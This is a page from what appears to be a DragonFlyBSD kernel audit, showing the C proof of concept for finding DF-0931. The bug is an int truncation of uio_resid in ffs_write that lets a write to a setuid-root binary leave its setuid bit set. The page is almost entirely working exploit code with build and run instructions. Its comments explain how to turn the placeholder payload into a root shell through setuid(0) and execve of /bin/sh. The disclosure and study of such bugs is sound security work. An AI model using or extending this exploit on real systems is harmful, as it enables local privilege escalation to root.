DragonFlyBSD Kernel Audit
DF-0931 / suid_bypass.c
← back to finding ↓ download raw
/*
 * suid_bypass.c - DF-0931 PoC: int resid truncation in ffs_write
 *                 defeats the ISUID/ISGID clear-on-write control.
 *
 * Strategy: write(fd, mapped_pagesz_buf, 4GiB + pagesz) against a
 * setuid-root binary. The kernel copies pagesz bytes successfully,
 * then EFAULTs on the unmapped region. Because (int)uio_resid
 * truncated the original 4GiB+pagesz to pagesz, the post-write check
 * `if (resid > uio->uio_resid)` evaluates `pagesz > 4GiB` = false, so
 * the kernel does NOT clear ISUID even though pagesz attacker-controlled
 * bytes were written to disk.
 *
 * In a real exploit, the memset payload would be replaced with a
 * minimal self-contained ELF that re-exec's a root shell.
 *
 * Build: cc -O2 -o suid_bypass suid_bypass.c
 * Run:   ./suid_bypass /path/to/group-writable-setuid-binary
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <stdint.h>

int
main(int argc, char **argv)
{
    if (argc != 2) {
        fprintf(stderr, "usage: %s <writable-setuid-binary>\n", argv[0]);
        return 1;
    }

    size_t pagesz = sysconf(_SC_PAGESIZE);

    /* Reserve two pages; fill the first with payload, unmap the second
     * so copyin EFAULTs after copying pagesz bytes. */
    char *buf = mmap(NULL, pagesz * 2, PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (buf == MAP_FAILED) {
        perror("mmap");
        return 1;
    }
    /* Placeholder payload: recognizable pattern. In a real exploit
     * this would be a minimal ELF program header + i386/amd64 shellcode
     * doing setuid(0); setgid(0); execve("/bin/sh", ...). */
    memset(buf, 'A', pagesz);
    munmap(buf + pagesz, pagesz);

    int fd = open(argv[1], O_WRONLY);
    if (fd < 0) {
        perror("open");
        return 1;
    }
    if (lseek(fd, 0, SEEK_SET) < 0) {
        perror("lseek");
        return 1;
    }

    /* nbyte = 4 GiB + pagesz. (int)nbyte = pagesz (low 32 bits).
     * ssize_t nbyte is positive (< SSIZE_MAX) so sys_write's
     * (ssize_t)nbyte<0 check does not reject it. */
    size_t nbyte = 0x100000000ULL + pagesz;
    ssize_t r = write(fd, buf, nbyte);
    fprintf(stderr, "write returned %zd errno=%d (%s)\n",
            r, errno, strerror(errno));    /* expect r=-1 errno=EFAULT */
    close(fd);

    /* Confirm the setuid bit survived the write. */
    struct stat st;
    if (stat(argv[1], &st) == 0) {
        fprintf(stderr, "target mode=%o ISUID=%s\n",
                st.st_mode & 07777,
                (st.st_mode & S_ISUID) ? "PRESERVED (BUG)" : "cleared (safe)");
    }

    /* At this point the first page of the target binary on disk
     * contains 'A' bytes. In a full exploit the attacker would
     * execv(argv[1], ...) to run their controlled code with the
     * target's setuid credentials. */
    return 0;
}